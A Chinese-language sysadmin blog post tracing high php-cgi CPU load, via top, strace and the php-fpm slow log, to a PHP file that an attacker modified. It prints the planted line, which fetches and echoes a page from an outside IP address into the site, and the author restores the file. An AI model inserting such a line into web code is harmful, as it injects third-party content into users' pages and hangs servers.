php-cgi佔用cpu100%的一次排障之旅

先說下我們網站的架構,由於目前網站訪問量不是很大，但是由於最近公司網站要推廣，所以將網站由單機切換成前端用nginx做負載平衡，帶動兩台web伺服器，所有網頁和靜態檔案都通過NFS共用調用，NFS服務裝在其中的一個web伺服器上，後端用mysql主從的方式，是很典型的架構。

 

切換成這個架構才2天，就收到nagios的警示，警示資訊顯示有一台web伺服器負載很高，於是通過SecureCRT登入到伺服器上，用top命令看了一下，發現有幾個php-cgi進程佔用了大量的CPU，如下：

13889 www       25   0  228m  14m 9344 S 100.4  0.1  14:51.22 php-cgi                                                                               

13882 www       25   0  227m  13m 9284 S 100.1  0.1  10:53.18 php-cgi                                                                                

13924 www       25   0  227m 9936 5732 S 100.1  0.1  23:20.80 php-cgi                                                                               

13927 www       25   0  226m 5228 2064 R 100.1  0.0  24:44.24 php-cgi                                                                               

13827 www       25   0  228m  15m  10m R 99.7  0.1  12:57.60 php-cgi                                                                                

13900 www       25   0  228m  19m  13m R 99.7  0.1   9:03.09 php-cgi

由上面的我們可以看出那幾個php-cgi進程不但佔用了大量的CPU，而且已耗用時間非常長，本來php-cgi接到一個請求運行很快的，怎麼這幾個運行那麼久還沒釋放？於是採用命令ls -l /proc/13827/fd/查看這個長時間的進程到底在幹什麼事情，結果如下：

lrwx------ 1 www www 64 Dec 11 12:03 0 -> socket:[68444030]

l-wx------ 1 www www 64 Dec 11 12:03 1 -> pipe:[68444057]

l-wx------ 1 www www 64 Dec 11 12:03 2 -> pipe:[68444058]

lrwx------ 1 www www 64 Dec 11 12:03 3 -> socket:[68468225]

lrwx------ 1 www www 64 Dec 11 12:03 4 -> socket:[68469788]

lrwx------ 1 www www 64 Dec 11 12:03 5 -> socket:[68457928]

看到裡面沒有開啟檔案或者寫入檔案，這個進程沒幹什麼事情，比較奇怪，然後採用strace命令跟蹤下看看這個進程在做什麼東西呢？

strace -p 13827

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout)

select(5, [4], [4], [], {15, 0})        = 1 (out [4], left {15, 0})

poll([{fd=4, events=POLLIN}], 1, 0)     = 0 (Timeout) …….

可以看出，這個進程不斷的逾時，到底為何會逾時呢？？？看來需要從php-cgi的日誌中尋找問題了，由於原來php-fpm.conf配置的逾時時間為0，也就是不設定逾時時間。於是先將php-fpm.conf的逾時時間設定成5s，然後超過5s的php-cgi的請求就會記錄到php的慢日誌中，設定如下：

      <value name="request_slowlog_timeout">3s</value>

      <value name="slowlog">logs/slow.log</value>

設定完成，利用命令/usr/local/php/sbin/php-fpm restart重啟php-fpm，過一會查看slow.log的內容發現很多如下內容：

script_filename = /data/htdocs/bbs.hrloo.com/apl.php
[0x00007fffb060fd70] file_get_contents() /data/htdocs/bbs.hrloo.com/apl.php:10

查看/data/htdocs/bbs.hrloo.com/apl.php第十行的內容如下：

echo file_get_contents('http://121.10.108.227:86/yh.asp');

網上查了一下發現了介紹php這個函數當裡面網址響應很慢的時候就會出現CPU佔用很高的情況，而且會一直卡住，不會逾時，再看看這個連結，訪問一下指向到了一個小說網站，是別人攻擊後嵌入的，將這個檔案還原後恢複正常。奇怪的是那個安裝NFS的web伺服器卻不會出現那個問題，看來是由於本來那個網站又慢，通過NFS調用就更慢了，因此出現了這個故障。感謝這次故障，才發現了這個嚴重的問題。

 

損毀修復了，但是問題還遠遠沒有解決，重點要找到檔案是如何被修改的，防止再出現類似的事故。看來下面還有很多事情要忙乎了。呵呵！